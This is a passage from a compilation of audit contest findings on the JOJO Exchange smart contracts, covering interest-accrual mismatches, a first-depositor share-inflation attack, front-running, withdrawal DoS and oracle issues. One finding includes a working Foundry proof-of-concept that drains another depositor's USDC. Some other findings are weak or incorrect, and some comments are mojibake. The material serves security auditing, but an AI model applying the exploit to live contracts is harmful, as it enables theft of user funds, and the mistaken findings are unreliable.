
Tool used

Manual Review

Recommendation

Add a minimum deposit amount check in FundingRateArbitrage.sol

+   import "./libraries/Types.sol"; 

    function deposit(uint256 amount) external {
+        require(amount.decimalMul(Types.ONE - depositFeeRate) > withdrawSettleFee,"The deposit amount is less than the minimum withdrawal amount"); // 
-        require(amount != 0, "deposit amount is zero");
        uint256 feeAmount = amount.decimalMul(depositFeeRate);
        if (feeAmount > 0) {
            amount -= feeAmount;
            IERC20(usdc).transferFrom(msg.sender, owner(), feeAmount);
        }
        uint256 earnUSDCAmount = amount.decimalDiv(getIndex());
        IERC20(usdc).transferFrom(msg.sender, address(this), amount);
        JOJODealer(jojoDealer).deposit(0, amount, msg.sender);
        earnUSDCBalance[msg.sender] += earnUSDCAmount;
        jusdOutside[msg.sender] += amount;
        totalEarnUSDCBalance += earnUSDCAmount;
        require(getNetValue() <= maxNetValue, "net value exceed limitation");
        uint256 quota = maxUsdcQuota[msg.sender] == 0 ? defaultUsdcQuota : maxUsdcQuota[msg.sender];
        require(earnUSDCBalance[msg.sender].decimalMul(getIndex()) <= quota, "usdc amount bigger than quota");
        emit DepositToHedging(msg.sender, amount, feeAmount, earnUSDCAmount);
    }

test

Please add the test code to FundingRateArbitrageTest.t.sol for execution

    function testAMinimumDepositAmountCheckHasBeenAdded() public {
        /////////////////////////////////////////////////////////////
        /// Less than the minimum amount //////
        /////////////////////////////////////////////////////////////
        // init fundingRateArbitrage
        vm.startPrank(Owner);
        fundingRateArbitrage.setDepositFeeRate(1e16);
        fundingRateArbitrage.setWithdrawFeeRate(1e16);
        fundingRateArbitrage.setWithdrawSettleFee(9e6); // withdrawSettleFee == 10e6
        vm.stopPrank();
        // init user
        address user = makeAddr("User");
        USDC.mint(user, 10e6);
        vm.startPrank(user);
        USDC.approve(address(fundingRateArbitrage), 10e6);
        assert(USDC.balanceOf(user) == 10e6);
        // deposit 9e6 revert
        vm.expectRevert("The deposit amount is less than the minimum withdrawal amount");
        fundingRateArbitrage.deposit(9e6);
        //////////////////////////////////////////////////////////
        ///    Meet the minimum amount   //////
        //////////////////////////////////////////////////////////
        vm.startPrank(user);
        assert(USDC.balanceOf(user) == 10e6);
        // deposit 10e6
        fundingRateArbitrage.deposit(10e6);
        // check balance
        uint256 userDepositAmount = fundingRateArbitrage.earnUSDCBalance(user);
        console.log(userDepositAmount);
        assert(fundingRateArbitrage.jusdOutside(user) == userDepositAmount);
        assert(USDC.balanceOf(address(fundingRateArbitrage)) + USDC.balanceOf(fundingRateArbitrage.owner()) == 10e6);
        // Withdraw
        jojoDealer.requestWithdraw(user, 0, userDepositAmount);
        vm.warp(block.timestamp + 1 days);
        jojoDealer.executeWithdraw(user, user, false, "");
        jusd.approve(address(fundingRateArbitrage), userDepositAmount);
        uint256 index = fundingRateArbitrage.requestWithdraw(userDepositAmount);
        vm.stopPrank();
        vm.startPrank(Owner);
        uint256[] memory indexs = new uint256[](1);
        indexs[0] = index;
        fundingRateArbitrage.permitWithdrawRequests(indexs);
        vm.stopPrank();
    }

T1MOH - After withdraw user can be subject to immediate liquidation

T1MOH

medium

After withdraw user can be subject to immediate liquidation

Summary

Issue arises from different formulas that are used in health check after withdraw and in liquidation.

Vulnerability Detail

Here you can see that accrueRate() compounds interest on every call, while getTRate() calculates plain interest:

    function accrueRate() public {
        uint256 currentTimestamp = block.timestamp;
        if (currentTimestamp == lastUpdateTimestamp) {
            return;
        }
        uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
@>      tRate = tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
        lastUpdateTimestamp = currentTimestamp;
    }

    function getTRate() public view returns (uint256) {
        uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
@>      return tRate + (borrowFeeRate * timeDifference) / Types.SECONDS_PER_YEAR;
    }

To show you they return different values, suppose tRate = 2, timeDifference = 1 year, borrowFeeRate = 10%. accrueRate() will calculate 2 * (1 * 10% / 1 + 1) = 2.2.
At the same time getTRate() will calculate 2 + (1 * 10% / 1) = 2.1.

Impact

User can be immediately liquidated after collateral withdrawal.
In withdraw it uses getTRate() to check health:

    function withdraw(
        address collateral,
        uint256 amount,
        address to,
        bool isInternal
    )
        external
        override
        nonReentrant
        nonFlashLoanReentrant
    {
        Types.UserInfo storage user = userInfo[msg.sender];
        _withdraw(amount, collateral, to, msg.sender, isInternal);
        uint256 tRate = getTRate();
@>      require(_isAccountSafe(user, tRate), Errors.AFTER_WITHDRAW_ACCOUNT_IS_NOT_SAFE);
    }

But in liquidation it accrues rate, which makes tRate higher that it was checked before in withdraw():

    function liquidate(
        address liquidated,
        address collateral,
        address liquidator,
        uint256 amount, //@note ัั‚ะพ ัะบะพะปัŒะบะพ ะปะธะบะฒะธะดะฐั‚ะพั€ ั…ะพั‡ะตั‚ ะฟะพะปัƒั‡ะธั‚ัŒ ะบะพะปะปะฐั‚ะตั€ะฐะปะฐ
        bytes memory afterOperationParam,
        uint256 expectPrice
    )
        external
        override
        //@audit ะฝะตะผะฝะพะณะพ ัั‚ั€ะฐะฝะฝะพ - ะผะพะถะฝะพ ะปะธะบะฒะธะดะธั€ะพะฒะฐั‚ัŒ ะฟะพะด ะฒะธะดะพะผ ะดั€ัƒะณะพะณะพ ัŽะทะตั€ะฐ
        isValidOperator(msg.sender, liquidator)
        nonFlashLoanReentrant
        returns (Types.LiquidateData memory liquidateData)
    {
@>      accrueRate();
        ...
    }

To sum up, if user withdraws collateral near liquidation threshold, it will be liquidated immediately because health check and liquidate use different formulas to calculate tRate - health check underestimates tRate.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/ed4a8483da11bcc04ced10de899038bcead087b3/smart-contract-EVM/src/JUSDBankStorage.sol#L63-L66
https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/ed4a8483da11bcc04ced10de899038bcead087b3/smart-contract-EVM/src/JUSDBank.sol#L130-L162

Tool used

Manual Review

Recommendation

Refactor getTRate():

    function getTRate() public view returns (uint256) {
        uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
-       return tRate + (borrowFeeRate * timeDifference) / Types.SECONDS_PER_YEAR;
+       return tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
    }

Duplicate of #1

bareli - borrowFeeRate is never initialized

bareli

high

borrowFeeRate is never initialized

Summary

borrowFeeRate is neverinitialized and it has been used in accrueRate() and getTRate()..

Vulnerability Detail

function accrueRate() public {
uint256 currentTimestamp = block.timestamp;
if (currentTimestamp == lastUpdateTimestamp) {
return;
}
uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
@> tRate = tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
lastUpdateTimestamp = currentTimestamp;
}

function getTRate() public view returns (uint256) {
    uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);

@> return tRate + (borrowFeeRate * timeDifference) / Types.SECONDS_PER_YEAR;
}
}

Impact

output will always be zero.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/JUSDBankStorage.sol#L53

Tool used

Manual Review

Recommendation

lil.eth - front-runnable Fund allocation to Operators

lil.eth

medium

front-runnable Fund allocation to Operators

Summary

The approveFundOperator() function in Operation.sol set directly the approvals for primaryCreditAllowed and secondaryCreditAllowed to the amounts specified in the function parameters without any checks against the previous approvals. This lack of validation can lead to scenarios where an operator's approval can be escalated without proper tracking or limitation.

Vulnerability Detail

function approveFundOperator(Types.State storage state, address client,address operator,uint256 primaryAmount, uint256 secondaryAmount) external
{
    state.primaryCreditAllowed[client][operator] = primaryAmount;
    state.secondaryCreditAllowed[client][operator] = secondaryAmount;
    emit FundOperatorAllowedChange(client, operator, primaryAmount, secondaryAmount);
}

The vulnerability lies in the direct assignment of primaryAmount and secondaryAmount to primaryCreditAllowed and secondaryCreditAllowed respectively, without checking or comparing against the existing approved amounts.

POC

  1. Let's say Alice has an approval of 100 primaryCredit from Bob : state.primaryCreditAllowed[Bob][Alice] = 100
  2. When she's approved 100 primaryCredit Alice directly uses Funding.sol#requestWithdraw(100) to create a request to withdraw 100 primaryCredit tokens that will be valid after block.timestamp + state.withdrawTimeLock
  3. After some days, Bob wants to reduce primaryCredit allowed to Alice to 50
  4. Alice frontrun Bob's call to approveFundOperator(), withdraw 100 primaryCredit token , state.primaryCreditAllowed[Bob][Alice] is decreased to 0
  5. Bob's call to approveFundOperator() is executed, then Alice has 50 new primaryToken to use as she wants.

Impact

An approved operator becoming malicious may be able to use/withdraw more tokens than intended

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/libraries/Operation.sol#L124
https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/libraries/Funding.sol#L69

Tool used

Manual Review

Recommendation

Instead of setting the given amount, sponsor can reduce from the current allowed funds, checking by the way whether the previous allowance is spend or not.

bareli - no check for same decimal for primary and secondary.

bareli

medium

no check for same decimal for primary and secondary.

Summary

it has been mention that secondary assert must have same decimal as primary asset.

Vulnerability Detail

/// @notice Secondary asset can only be set once.
/// Secondary asset must have the same decimal with primary asset.
function setSecondaryAsset(address _secondaryAsset) external onlyOwner {
Operation.setSecondaryAsset(state, _secondaryAsset);

Impact

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/JOJOOperation.sol#L69

Tool used

Manual Review

Recommendation

AuditorPraise - approveTarget may not == swapTarget

AuditorPraise

medium

approveTarget may not == swapTarget

Summary

approveTarget may not == swapTarget for some DEXES, this may cause issues with approval as the DepositStableCoinToDealer.sol contract only approves approveTarget for swaps.

In a situation where approveTarget != swapTarget, swapTarget isnt approved to do swaps in DepositStableCoinToDealer.depositStableCoin()

Vulnerability Detail

see summary.

An example of such dexes that approveTarget may not == swapTarget is DODO. There could still be some other ones too.

Impact

In a situation where approveTarget != swapTarget, swapTarget isn't approved to do swaps in DepositStableCoinToDealer.depositStableCoin()

The DepositStableCoinToDealer.depositStableCoin() function may revert due to lack of approval.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/DepositStableCoinToDealer.sol#L52-L54

Tool used

Manual Review

Recommendation

check with an if statement whether approveTarget != swapTarget, then approve swapTarget too.

Ignite - The first depositor of FundingRateArbitrage contract can drain all users' USDC

Ignite

high

The first depositor of FundingRateArbitrage contract can drain all users' USDC

Summary

A malicious first depositor can benefit from subsequent deposits, causing later depositors to lose part or all of their funds to the attacker.

Vulnerability Detail

The getIndex() function is used to return the ratio between netValue() and totalEarnUSDCBalance. If the totalEarnUSDCBalance is zero, it returns a default value of 1e18. Otherwise, it computes the index by dividing the net value of the system by the total earned USDC balance.

function getIndex() public view returns (uint256) {
    if (totalEarnUSDCBalance == 0) {
        return 1e18;
    } else {
        return SignedDecimalMath.decimalDiv(getNetValue(), totalEarnUSDCBalance);
    }
}

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L98-L104

Anyone can call the deposit() function to increase the totalEarnUSDCBalance value. Subsequently, when the getIndex() function is invoked, it returns the ratio between getNetValue() and totalEarnUSDCBalance().

function deposit(uint256 amount) external {
    require(amount != 0, "deposit amount is zero");
    uint256 feeAmount = amount.decimalMul(depositFeeRate);
    if (feeAmount > 0) {
        amount -= feeAmount;
        IERC20(usdc).transferFrom(msg.sender, owner(), feeAmount);
    }
    uint256 earnUSDCAmount = amount.decimalDiv(getIndex());
    IERC20(usdc).transferFrom(msg.sender, address(this), amount);
    JOJODealer(jojoDealer).deposit(0, amount, msg.sender);
    earnUSDCBalance[msg.sender] += earnUSDCAmount;
    jusdOutside[msg.sender] += amount;
    totalEarnUSDCBalance += earnUSDCAmount;
    require(getNetValue() <= maxNetValue, "net value exceed limitation");
    uint256 quota = maxUsdcQuota[msg.sender] == 0 ? defaultUsdcQuota : maxUsdcQuota[msg.sender];
    require(earnUSDCBalance[msg.sender].decimalMul(getIndex()) <= quota, "usdc amount bigger than quota");
    emit DepositToHedging(msg.sender, amount, feeAmount, earnUSDCAmount);
}

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L258-L275

By transferring USDC directly to the contract, these funds are summed up as the net value in the system, resulting in an increase in the net value.

function getNetValue() public view returns (uint256) {
    uint256 jusdBorrowed = IJUSDBank(jusdBank).getBorrowBalance(address(this));
    uint256 collateralAmount = IJUSDBank(jusdBank).getDepositBalance(collateral, address(this));
    uint256 usdcBuffer = IERC20(usdc).balanceOf(address(this));
    uint256 collateralPrice = IJUSDBank(jusdBank).getCollateralPrice(collateral);
    (int256 perpNetValue,,,) = JOJODealer(jojoDealer).getTraderRisk(address(this));
    return
        SafeCast.toUint256(perpNetValue) + collateralAmount.decimalMul(collateralPrice) + usdcBuffer - jusdBorrowed;
}

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L87-L95

With an incorrectly high net value, the amount.decimalDiv(getIndex()); at line 265 will experience a loss of precision, requiring a substantial deposit of a huge amount to gain some earnUSDCBalance for the depositor.

function deposit(uint256 amount) external {
    require(amount != 0, "deposit amount is zero");
    uint256 feeAmount = amount.decimalMul(depositFeeRate);
    if (feeAmount > 0) {
        amount -= feeAmount;
        IERC20(usdc).transferFrom(msg.sender, owner(), feeAmount);
    }
    uint256 earnUSDCAmount = amount.decimalDiv(getIndex());
    IERC20(usdc).transferFrom(msg.sender, address(this), amount);
    JOJODealer(jojoDealer).deposit(0, amount, msg.sender);
    earnUSDCBalance[msg.sender] += earnUSDCAmount;
    jusdOutside[msg.sender] += amount;
    totalEarnUSDCBalance += earnUSDCAmount;
    require(getNetValue() <= maxNetValue, "net value exceed limitation");
    uint256 quota = maxUsdcQuota[msg.sender] == 0 ? defaultUsdcQuota : maxUsdcQuota[msg.sender];
    require(earnUSDCBalance[msg.sender].decimalMul(getIndex()) <= quota, "usdc amount bigger than quota");
    emit DepositToHedging(msg.sender, amount, feeAmount, earnUSDCAmount);
}

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L258-L275

The first depositor could deposit only 1 wei of USDC, manipulate the net value by directly transferring some small amount of USDC to the contract, and then deposit a substantial amount of USDC to gain the earnUSDCBalance.

When the next depositor makes a deposit, their earnUSDCBalance value will encounter precision loss, and the USDC will be aggregated as part of the net value of the system. Consequently, the attacker will profit from this USDC.

Furthermore, the attacker can easily front-run this transaction to execute the attack.

Please add this test to FundingRateArbitrageTest.t.sol to showcase the exploit.

forge test --mt test_firstDepositorStealOtherUserFund -vv
function test_firstDepositorStealOtherUserFund() public {

    /// setWithdrawSettleFee
    vm.startPrank(Owner);
    fundingRateArbitrage.setWithdrawSettleFee(2e6);
    vm.stopPrank();

    /// mint for Alice 10,000 USDC and mint for Bob 100 USDC
    USDC.mint(address(alice), 10_000e6);
    USDC.mint(address(bob), 100e6);

    uint256 aliceBalanceBefore = USDC.balanceOf(address(alice));

    vm.startPrank(alice);
    USDC.approve(address(fundingRateArbitrage), 10_000e6);

    /// Alice makes her initial deposit to ensure that the totalEarnUSDCBalance is not equal to zero.
    fundingRateArbitrage.deposit(1);

    /// Alice transfer 100 USDC to the FundingRateArbitrage contract directly to increase getNetValue()
    USDC.transfer(address(fundingRateArbitrage), 100e6);
    uint aliceAmt = 8_000e6; // 8,000 USDC

    /// Alice deposited with huge amount of USDC
    fundingRateArbitrage.deposit(aliceAmt);

    /// Request for withdraw
    jojoDealer.requestWithdraw(alice, 0, aliceAmt);
    vm.warp(100);
    jojoDealer.executeWithdraw(alice, alice, false, "");

    jusd.approve(address(fundingRateArbitrage), aliceAmt);

    uint256 index = fundingRateArbitrage.requestWithdraw(aliceAmt);
    vm.stopPrank();

    uint bobAmt = 100e6; // 100 USDC
    vm.startPrank(bob);
    USDC.approve(address(fundingRateArbitrage), bobAmt);

    /// Bob calls deposit() normally with 100 USDC
    fundingRateArbitrage.deposit(bobAmt);
    vm.stopPrank();

    /// Permit withdraw request by Owner
    vm.startPrank(Owner);
    uint256[] memory indexs = new uint256[](1);
    indexs[0] = index;
    fundingRateArbitrage.permitWithdrawRequests(indexs);
    vm.stopPrank();


    /// Now, the 100 USDC in Bob's FundingRateArbitrage contract has been drained to Alice
    uint256 aliceBalanceAfter = USDC.balanceOf(address(alice));
    uint256 fundingRateArbitrageBalance = USDC.balanceOf(address(fundingRateArbitrage));

    assertGt(aliceBalanceAfter, aliceBalanceBefore);
    assertEq(fundingRateArbitrageBalance, 0);

    console.log("Alice's USDC:", USDC.balanceOf(address(alice)));
    console.log("Bob's USDC:", USDC.balanceOf(address(bob)));
    console.log("FundingRateArbitrage's USDC:", USDC.balanceOf(address(fundingRateArbitrage)));
    console.log("totalEarnUSDC:", fundingRateArbitrage.totalEarnUSDCBalance());
}

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/test/impl/FundingRateArbitrageTest.t.sol

Impact

The first depositor has the ability to take away a portion or all of the USDC that other users have deposited into the FundingRateArbitrage contract.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L87-L95

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L98-L104

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L258-L275

Tool used

Manual Review

Recommendation

I suggest the team be the first depositor when deploying the contract.

Duplicate of #54

joicygiore - The `FundingRateArbitrage` contract function has not yet been developed,Users are not able to earn interest as expected

joicygiore

medium

The FundingRateArbitrage contract function has not yet been developed,Users are not able to earn interest as expected

Summary

The functions related to Convenience: Users only need to deposit funds into the JOJO platform to enjoy the automated funding rate arbitrage service without the need for complex calculations and operations. in the FundingRateArbitrage contract have not yet been developed

Vulnerability Detail

    mapping(address => uint256) public earnUSDCBalance;
    mapping(address => uint256) public jusdOutside;
    mapping(address => uint256) public maxUsdcQuota;

The above variables in the contract are used to save the user's fund status, but by checking all funcitons in the contract and testing, it is found that the Convenience: Users only need to deposit funds into the JOJO platform to enjoy the automated funding rate arbitrage service without the need for complex calculations and operations.,LPs can deposit USDC into the arbitrage pool via the deposit function, earning interest. introduced in the official documentation is not implemented in the source code of the contract.

Impact

The contract functionality is not yet complete

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L254-L300

Tool used

Manual Review

Recommendation

Improve the relevant features described in the documentation

T1MOH - Users pay additional interest due to the way interest accrues

T1MOH

high

Users pay additional interest due to the way interest accrues

Summary

In it's calculation protocol uses compound formula of calculating tRate.
How protocol tracks interest of borrowed JUSD? It writes t0Amount, t0Amount = actualAmount / tRate. Then tRate increases and on the moment of repay debt is calculated as t0Amount * tRate.

Suppose current situation:

  1. Day 1 of protocol alive, tRate = 1, borrowFeeRate = 0.2 which means 20% a year
  2. User borrows 100 JUSD, his t0Amount is 100 / 1 = 100
  3. Year passes, now accrueRate() is called. tRate = 1 * (0.2 + 1) = 1.2. It means that now hi owes 100 * 1.2 = 120 JUSD, accrued interest is 20 JUSD.

But now instead consider that accrueRate() was called 40 times with equal gaps during a year. In this case tRate = (1 + 0.2 / 40) ^ 40 = 1.2207, accrued interest is 22 JUSD which is 10% more interest than in previous example: 0.22 vs 0.2

Problem is that current implementation depends on frequency of calling accrueRate()

Vulnerability Details

Here you can see the way formula is implemented. Note that accrueRate() is supposed to be called very frequently: on every borrow, repay and liquidate.

    function accrueRate() public {
        uint256 currentTimestamp = block.timestamp;
        if (currentTimestamp == lastUpdateTimestamp) {
            return;
        }
        uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
        tRate = tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
        lastUpdateTimestamp = currentTimestamp;
    }

Impact

User pays more interest than intended, for example extra 10% in above scenario

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/ed4a8483da11bcc04ced10de899038bcead087b3/smart-contract-EVM/src/JUSDBankStorage.sol#L53-L66

Tool used

Manual Review

Recommendation

Used formula to accrue interest must be independent of update frequency. For example you can use Taylor expansion to calculate compound interest

Homebrew - Potential exploitations for the JOJOOracleAdaptorWstETH contract.

Homebrew

high

Potential exploitations for the JOJOOracleAdaptorWstETH contract.

Summary

Invalid Chainlink aggregator address

Vulnerability Detail

The Chainlink aggregator address is not validated to be a valid Chainlink contract.

Impact

Attacker can set the address to a malicious contract to provide false price data.

IChainlink(chainlink).latestRoundData()

Code Snippet

address public immutable chainlink;

constructor(address _source, ...) {
  chainlink = _source; 
}

function getAssetPrice() external view returns (uint256) {
  (,,int256 price,,uint256 updatedAt,) = IChainlink(chainlink).latestRoundData();
  // ...
}

Tool used

Manual Review

Recommendation

Validate that chainlink address is a Chainlink AggregatorV3Interface contract on deployment:

constructor(address _source, ...) {
  require(IAggregatorV3Interface(_source).decimals() >= 0, "Invalid chainlink");  
  chainlink = _source;
}

cawfree - Signature Replay: `JOJOStorage` caches the `DOMAIN_SEPARATOR` in the constructor.

cawfree

medium

Signature Replay: JOJOStorage caches the DOMAIN_SEPARATOR in the constructor.

Summary

A cached domainSeparator can lead to replay attacks on a hard-forked chain.

Vulnerability Detail

As a gas optimization, the domainSeparator is cached in the constructor of JOJOStorage under the expectation that the block.chainId cannot change.

However, in the instance of a chain fork, the result would be two independent protocol instances which share common signature namespace digests, causing a single signature to satisfy domain separation checks on two separate domains.

Impact

This issue is commonly assessed as medium in severity.

The upcoming ArbOS upgrade indicates that the Arbitrum Foundation intend to adopt the design philosophy of hard forks, which historically result in the creation of two parallel chains, instead of the chain-death of the original rules chain.

Code Snippet

constructor() Ownable() {
    domainSeparator = EIP712._buildDomainSeparator("JOJO", "1", address(this));
}

Tool used

Manual Review

Recommendation

The domainSeparator should be computed dynamically where needed.

bareli - Missing JOJOStorage Import:

bareli

medium

Missing JOJOStorage Import:

Summary

Missing JOJOStorage Import: The comment mentions a JOJOStorage contract for data structure, but it's not explicitly imported. If JOJOStorage is a contract that should be inherited, it needs to be imported and listed in the contract inheritance list.

Vulnerability Detail

/// data structure -> JOJOStorage
contract JOJODealer is JOJOExternal, JOJOOperation, JOJOView {
constructor(address _primaryAsset) JOJOStorage() {
state.primaryAsset = _primaryAsset;
}

Impact

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/JOJODealer.sol#L16

Tool used

Manual Review

Recommendation

import JOJOStorage
import "./JOJOStorage.sol";

bareli - Input Validation

bareli

medium

Input Validation

Summary

Input Validation: The function updateFundingRate assumes that the lengths of perpList and rateList are equal and does not perform any checks to ensure this. Malicious input could cause the function to revert or behave unexpectedly.

Vulnerability Detail

function updateFundingRate(address[] calldata perpList, int256[] calldata rateList) external onlyOwner {
for (uint256 i = 0; i < perpList.length;) {
address perp = perpList[i];
int256 oldRate = IPerpetual(perp).getFundingRate();
uint256 maxChange = getMaxChange(perp);
@> require((rateList[i] - oldRate).abs() <= maxChange, "FUNDING_RATE_CHANGE_TOO_MUCH");
fundingRateUpdateTimestamp[perp] = block.timestamp;
unchecked {
++i;
}
}
IDealer(dealer).updateFundingRate(perpList, rateList);
}

Impact

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateUpdateLimiter.sol#L37

Tool used

Manual Review

Recommendation

use a require statement for the array length verification.

rvierdiiev - Share price manipulation by first depositor in FundingRateArbitrage

rvierdiiev

high

Share price manipulation by first depositor in FundingRateArbitrage

Summary

First depositor in FundingRateArbitrage can increased share price in order to make next depositors loss funds in favor to attacker.

Vulnerability Detail

First depositor in FundingRateArbitrage contract will get index as e18. This means that he can provide 1 unit of usdc and make totalEarnUSDCBalance to be 1 as well.

When totalEarnUSDCBalance != 0, then getNetValue function is called to calculate funds controlled by contract. Then this amount is divided by all shares, to get index.

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L87-L95

    function getNetValue() public view returns (uint256) {
        uint256 jusdBorrowed = IJUSDBank(jusdBank).getBorrowBalance(address(this));
        uint256 collateralAmount = IJUSDBank(jusdBank).getDepositBalance(collateral, address(this));
        uint256 usdcBuffer = IERC20(usdc).balanceOf(address(this));
        uint256 collateralPrice = IJUSDBank(jusdBank).getCollateralPrice(collateral);
        (int256 perpNetValue,,,) = JOJODealer(jojoDealer).getTraderRisk(address(this));
        return
            SafeCast.toUint256(perpNetValue) + collateralAmount.decimalMul(collateralPrice) + usdcBuffer - jusdBorrowed;
    }

There are different ways for attacker to donate funds to the FundingRateArbitrage contract and one of them is just to send usdc directly.

In case if attacker will donate big amount of funds to the FundingRateArbitrage, then he will increase the index price.
And when next depositor will call deposit, then because if large index price, he can get 0 earnUSDCAmount. After that totalEarnUSDCBalance do not change, but getNetValue increases, which means that index price has increased and attacker has gained profit.

Impact

Attacker can earn profit by increasing share price.

Code Snippet

Provided above

Tool used

Manual Review

Recommendation

Make sure first depositor does not small deposit.

Duplicate of #54

Homebrew - Possible Integer Overflow on smart-contract-EVM/src/oracle/OracleAdaptorWstETH.sol

Homebrew

medium

Possible Integer Overflow on smart-contract-EVM/src/oracle/OracleAdaptorWstETH.sol

Summary

Possiblility to make a Integer Overflow

Vulnerability Detail

No checks for integer overflows and underflows in price calculations.

Impact

Incorrect token pricing, economic exploits.

Code Snippet

uint256 tokenPrice = ((SafeCast.toUint256(price) 
  * SafeCast.toUint256(ETHPrice)) / Types.ONE) / 1e8;

Tool used

Manual Review

Recommendation

Use OpenZeppelin SafeMath for overflow protection:

using SafeMath for uint256;

uint256 tokenPrice = (price.toUint256().mul(ETHPrice))
  .div(Types.ONE.mul(1e8));

bughuntoor - Adversary can DoS all users from regular withdraws

bughuntoor

high

Adversary can DoS all users from regular withdraws

Summary

Adversary can DoS all users from regular withdraws

Vulnerability Detail

In JOJODealer, whenever users would like to withdraw, they'd have to first request a withdraw and then after withdrawTimelock passes, they can call executeWithdraw.

    function requestWithdraw(
        Types.State storage state,
        address from,
        uint256 primaryAmount,
        uint256 secondaryAmount
    )
        external
    {
        require(isWithdrawValid(state, msg.sender, from, primaryAmount, secondaryAmount), Errors.WITHDRAW_INVALID);
        state.pendingPrimaryWithdraw[msg.sender] = primaryAmount;
        state.pendingSecondaryWithdraw[msg.sender] = secondaryAmount;
        state.withdrawExecutionTimestamp[msg.sender] = block.timestamp + state.withdrawTimeLock;
        emit RequestWithdraw(msg.sender, primaryAmount, secondaryAmount, state.withdrawExecutionTimestamp[msg.sender]);
    }

In order for a withdraw request to succeed, it needs to pass the isWithdrawValid

    function isWithdrawValid(
        Types.State storage state,
        address spender,
        address from,
        uint256 primaryAmount,
        uint256 secondaryAmount
    )
        internal
        view
        returns (bool)
    {
        return spender == from
            || (
                state.primaryCreditAllowed[from][spender] >= primaryAmount
                    && state.secondaryCreditAllowed[from][spender] >= secondaryAmount
            );
    }

The problem here is that the request allows for both primaryAmount and secondaryAmount to be exactly 0. Any user can call requestWithdraw for another user with both values being 0 and the check above would pass, effectively overwriting any current request.

A malicious user could back-run any withdraw request with such 0 values and overwrite it, basically cancelling it.

Impact

Adversary can fully DoS regular withdraws.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/libraries/Funding.sol#L51C1-L67C6

Tool used

Manual Review

Recommendation

Upon requesting a withdraw, check that at least one of the values is non-zero.

Duplicate of #53

joicygiore - `UniswapPriceAdaptor::getPrice()`must default to `EmergencyOracle::turnOn() == true`, otherwise the program will not execute properly. Failure to update the `EmergencyOracle(priceFeedOracle).getMarkPrice()` data in a timely manner further causes the program to revert

joicygiore

medium

UniswapPriceAdaptor::getPrice()must default to EmergencyOracle::turnOn() == true, otherwise the program will not execute properly. Failure to update the EmergencyOracle(priceFeedOracle).getMarkPrice() data in a timely manner further causes the program to revert

Summary

UniswapPriceAdaptor::getPrice() defaults to EmergencyOracle::turnOn() == true, otherwise the program will not be executed normally.

Vulnerability Detail

if EmergencyOracle::turnOn() is closed, when UniswapPriceAdaptor::getPrice() will revert the emergency oracle is close. The program must ensure that EmergencyOracle::turnOn() is turned on and that EmergencyOracle::setMarkPrice() is called at all times to update the price,Failure to update prices in a timely manner may revert deviation is too big.

UniswapPriceAdaptor::getPrice()

    function getPrice() internal view returns (uint256) {
        uint256 uniswapPriceFeed = IStaticOracle(UNISWAP_V3_ORACLE).quoteSpecificPoolsWithTimePeriod(
            uint128(10 ** decimal), baseToken, quoteToken, pools, period
        );
        uint256 jojoPriceFeed = EmergencyOracle(priceFeedOracle).getMarkPrice();
        uint256 diff =
            jojoPriceFeed >= uniswapPriceFeed ? jojoPriceFeed - uniswapPriceFeed : uniswapPriceFeed - jojoPriceFeed;
        require((diff * 1e18) / jojoPriceFeed <= impact, "deviation is too big");
        return uniswapPriceFeed;
    }

EmergencyOracle::getMarkPrice()

    function getMarkPrice() external view returns (uint256) {
        require(turnOn, "the emergency oracle is close");
        return price;
    }

Impact

UniswapPriceAdaptor::getPrice()must default to EmergencyOracle::turnOn() == true, otherwise the program will not execute properly. Failure to update the EmergencyOracle(priceFeedOracle).getMarkPrice() data in a timely manner further causes the program to revert

Code Snippet

